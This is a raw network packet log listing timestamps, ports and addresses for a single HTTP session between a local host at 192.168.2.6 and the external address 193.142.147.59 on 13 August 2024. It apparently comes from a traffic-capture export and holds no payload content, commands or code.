Aug 13, 2024 10:21:15.306519032 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.306529999 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.306541920 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.306551933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.306557894 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.306565046 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.306575060 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.306576014 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.306586981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.306591034 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.306598902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.306607962 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.306617022 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.306619883 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.306633949 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.306644917 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.306654930 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.306655884 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.306664944 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.306668997 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.306689978 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.306716919 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.307471991 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.307485104 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.307497025 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.307507038 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.307518005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.307527065 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.307532072 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.307538986 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.307549000 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.307559013 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.307559013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.307569981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.307574034 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.307580948 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.307591915 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.307600975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.307602882 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.307612896 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.307622910 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.307627916 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.307634115 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.307652950 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.307666063 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.308427095 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.308439016 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.308448076 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.308458090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.308468103 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.308478117 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.308479071 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.308502913 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.308504105 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.308514118 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.308516979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.308526993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.308536053 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.308537960 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.308547974 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.308552980 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.308562994 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.308562994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.308573008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.308583021 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.308583975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.308594942 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.308597088 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.308625937 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.309205055 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.309216022 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.309226990 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.309253931 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.309267998 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.390306950 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.390340090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.390351057 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.390420914 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.390459061 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.390465021 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.390470982 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.390480995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.390491962 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.390503883 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.390533924 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.390610933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.390652895 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.390738010 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.390748024 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.390779018 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.390789986 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.390794039 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.390799999 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.390835047 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.390949011 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.390959978 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.390969992 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.390978098 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.390986919 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.390990019 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.391017914 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.391041994 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.391189098 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.391242981 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.391315937 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.391328096 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.391338110 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.391346931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.391357899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.391366005 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.391367912 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.391392946 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.391407967 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.391711950 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.391721964 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.391731024 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.391741037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.391751051 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.391761065 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.391763926 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.391772032 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.391782045 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.391791105 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.391808987 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.391823053 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.392178059 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.392188072 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.392199039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.392208099 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.392218113 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.392226934 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.392230988 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.392236948 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.392246962 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.392256975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.392257929 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.392280102 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.392292976 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.392597914 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.392608881 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.392613888 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.392622948 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.392653942 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.392676115 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.392980099 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.392996073 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393006086 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393016100 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393023014 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.393026114 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393037081 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393042088 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.393047094 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393057108 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393069029 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393071890 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.393078089 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393080950 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.393090963 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393100977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393110991 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.393112898 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393137932 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.393153906 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.393774986 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393786907 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393795967 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393805981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393815994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393825054 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393836021 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393846035 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393853903 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393856049 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.393863916 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393872976 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393882990 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393883944 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.393892050 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393902063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.393903017 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.393915892 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.393939972 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.393994093 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.394033909 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.394443989 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.394454002 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.394488096 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.394592047 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.394602060 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.394612074 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.394622087 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.394632101 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.394634008 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.394642115 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.394653082 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.394663095 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.394664049 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.394671917 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.394681931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.394691944 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.394692898 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.394701958 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.394709110 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.394711971 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.394728899 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.394737959 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.394767046 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.395565987 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.395577908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.395586967 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.395596027 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.395605087 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.395615101 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.395622015 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.395625114 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.395634890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.395646095 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.395651102 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.395656109 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.395667076 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.395672083 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.395677090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.395687103 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.395693064 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.395711899 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.395730019 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.396186113 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.396195889 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.396205902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.396234989 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.396255016 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.396265030 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.396276951 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.396286011 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.396295071 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.396303892 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.396305084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.396315098 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.396322012 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.396326065 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.396337032 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.396349907 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.396368980 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.478104115 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.478121042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.478151083 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.478163958 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.478176117 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.478187084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.478199959 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.478281021 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.478305101 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.478341103 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.478343010 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.478363991 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.478399038 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.478426933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.478439093 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.478471994 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.478491068 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.478581905 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.478594065 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.478605986 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.478631020 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.478662968 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.478714943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.478811979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.478823900 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.478835106 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.478844881 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.478856087 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.478856087 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.478867054 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.478892088 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.478919983 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.479154110 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.479166985 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.479177952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.479188919 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.479207039 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.479240894 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.479382038 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.479393959 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.479404926 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.479415894 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.479428053 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.479451895 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.479633093 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.479650974 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.479661942 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.479672909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.479681015 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.479685068 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.479695082 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.479705095 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.479712009 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.479716063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.479748011 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.479767084 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.480061054 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.480078936 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.480088949 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.480099916 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.480109930 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.480112076 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.480129957 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.480156898 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.480348110 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.480360031 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.480369091 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.480380058 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.480391979 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.480396032 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.480408907 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.480412006 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.480431080 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.480458021 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.480829000 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.480840921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.480850935 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.480861902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.480871916 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.480880976 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.480884075 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.480895042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.480906963 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.480916977 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.480916977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.480927944 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.480938911 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.480938911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.480952024 CEST	80	49711	193.142.147.59	192.168.2.6
